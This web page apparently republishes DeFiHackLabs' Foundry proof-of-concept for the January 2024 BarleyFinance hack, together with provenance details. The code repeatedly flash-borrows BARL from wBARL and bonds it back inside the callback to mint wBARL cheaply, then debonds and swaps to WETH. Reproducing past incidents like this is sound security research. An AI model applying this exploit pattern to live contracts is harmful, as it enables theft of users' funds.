Public reproduction file

src/test/2024-01/BarleyFinance_exp.sol

Public reproduction file for dataset entry BarleyFinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-01/BarleyFinance_exp.sol105 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$130K
8// Attacker : https://etherscan.io/address/0x7b3a6eff1c9925e509c2b01a389238c1fcc462b6
9// Attack Contracts : https://etherscan.io/address/0x356e7481b957be0165d6751a49b4b7194aef18d5
10// Vuln Contract : https://etherscan.io/address/0x04c80bb477890f3021f03b068238836ee20aa0b8
11// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x995e880635f4a7462a420a58527023f946710167ea4c6c093d7d193062a33b01
12 
13// @Analysis
14// https://app.blocksec.com/explorer/security-incidents
15// https://www.bitget.com/news/detail/12560603890246
16// https://twitter.com/Phalcon_xyz/status/1751788389139992824
17 
18interface IwBARL is IERC20 {
19    function flash(address _recipient, address _token, uint256 _amount, bytes memory _data) external;
20 
21    function bond(address _token, uint256 _amount) external;
22 
23    function debond(uint256 _amount, address[] memory, uint8[] memory) external;
24}
25 
26interface IUniswapV3Router {
27    struct ExactInputParams {
28        bytes path;
29        address recipient;
30        uint256 deadline;
31        uint256 amountIn;
32        uint256 amountOutMinimum;
33    }
34 
35    function exactInput(
36        ExactInputParams memory params
37    ) external payable returns (uint256 amountOut);
38}
39 
40contract ContractTest is Test {
41    IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
42    IERC20 private constant BARL = IERC20(0x3e2324342bF5B8A1Dca42915f0489497203d640E);
43    IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
44    IwBARL private constant wBARL = IwBARL(0x04c80Bb477890F3021F03B068238836Ee20aA0b8);
45    IUniswapV3Router private constant Router = IUniswapV3Router(0xE592427A0AEce92De3Edee1F18E0157C05861564);
46 
47    function setUp() public {
48        vm.createSelectFork("mainnet", 19_106_654);
49        vm.label(address(DAI), "DAI");
50        vm.label(address(BARL), "BARL");
51        vm.label(address(WETH), "WETH");
52        vm.label(address(wBARL), "wBARL");
53        vm.label(address(Router), "Router");
54    }
55 
56    function testExploit() public {
57        // Start with 200 DAI tokens transferred from exploiter to attack contract in txs:
58        // https://app.blocksec.com/explorer/tx/eth/0xa685928b5102349a5cc50527fec2e03cb136c233505471bdd4363d0ab077a69a
59        // https://app.blocksec.com/explorer/tx/eth/0xaaa197c7478063eb1124c8d8b03016fe080e6ec4c4f4a4e6d7f09022084e3390
60        // DAI tokens will be used by wBARL flash function
61        deal(address(DAI), address(this), 200e18);
62 
63        emit log_named_decimal_uint(
64            "Exploiter WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()
65        );
66 
67        uint8 i;
68        while (i < 20) {
69            DAI.approve(address(wBARL), 10e18);
70            wBARL.flash(address(this), address(BARL), BARL.balanceOf(address(wBARL)), "");
71            ++i;
72        }
73 
74        address[] memory token = new address[](1);
75        token[0] = address(BARL);
76        uint8[] memory percentage = new uint8[](1);
77        percentage[0] = 100;
78        wBARL.debond(wBARL.balanceOf(address(this)), token, percentage);
79 
80        BARLToWETH();
81        emit log_named_decimal_uint(
82            "Exploiter WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()
83        );
84    }
85 
86    function callback(
87        bytes calldata data
88    ) external {
89        BARL.approve(address(wBARL), BARL.balanceOf(address(this)));
90        wBARL.bond(address(BARL), BARL.balanceOf(address(this)));
91    }
92 
93    function BARLToWETH() internal {
94        BARL.approve(address(Router), type(uint256).max);
95        bytes memory _path = abi.encodePacked(address(BARL), hex"002710", address(DAI), hex"0001f4", address(WETH));
96        IUniswapV3Router.ExactInputParams memory params = IUniswapV3Router.ExactInputParams({
97            path: _path,
98            recipient: address(this),
99            deadline: block.timestamp + 1000,
100            amountIn: BARL.balanceOf(address(this)),
101            amountOutMinimum: 0
102        });
103        Router.exactInput(params);
104    }
105}

Analysis

Dataset entry

Public Foundry test for “BarleyFinance” (2024-01-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-01/Bmizapper_exp.solSame month in the dataset · 81 lines
src/test/2024-01/CitadelFinance_exp.solSame month in the dataset · 172 lines
src/test/2024-01/DAO_SoulMate_exp.solSame month in the dataset · 77 lines
src/test/2024-01/Freedom_exp.solSame month in the dataset · 88 lines
src/test/2024-01/Gamma_exp.solSame month in the dataset · 158 lines
src/test/2024-01/LQDX_alert_exp.solSame month in the dataset · 108 lines
src/test/2024-01/MIC_exp.solSame month in the dataset · 212 lines
src/test/2024-01/MIMSpell2_exp.solSame month in the dataset · 241 lines
src/test/2024-01/NBLGAME_exp.solSame month in the dataset · 160 lines
src/test/2024-01/OrbitChain_exp.solSame month in the dataset · 114 lines
src/test/2024-01/PeapodsFinance_exp.solSame month in the dataset · 91 lines
src/test/2024-01/RadiantCapital_exp.solSame month in the dataset · 156 lines
src/test/2024-01/Shell_MEV_0xa898_exp.solSame month in the dataset · 69 lines
src/test/2024-01/SocketGateway_exp.solSame month in the dataset · 78 lines
src/test/2024-01/WiseLending02_exp.solSame month in the dataset · 176 lines
src/test/2024-01/XSIJ_exp.solSame month in the dataset · 72 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x7b3a6eff1c9925e509c2b01a389238c1fcc462b6
Attack Contract
0x356e7481b957be0165d6751a49b4b7194aef18d5

Attack Tx
0x995e880635f4a7462a420a58527023f946710167ea4c6c093d7d193062a33b01

File record

Name: BarleyFinance
Path: src/test/2024-01/BarleyFinance_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 3c60d90fef3747717c9afc7277af7489947476eb
Language: Solidity
Size: 106 lines
Date: 2024-01-28
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-01/BarleyFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3c60d90fef3747717c9afc7277af7489947476eb, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.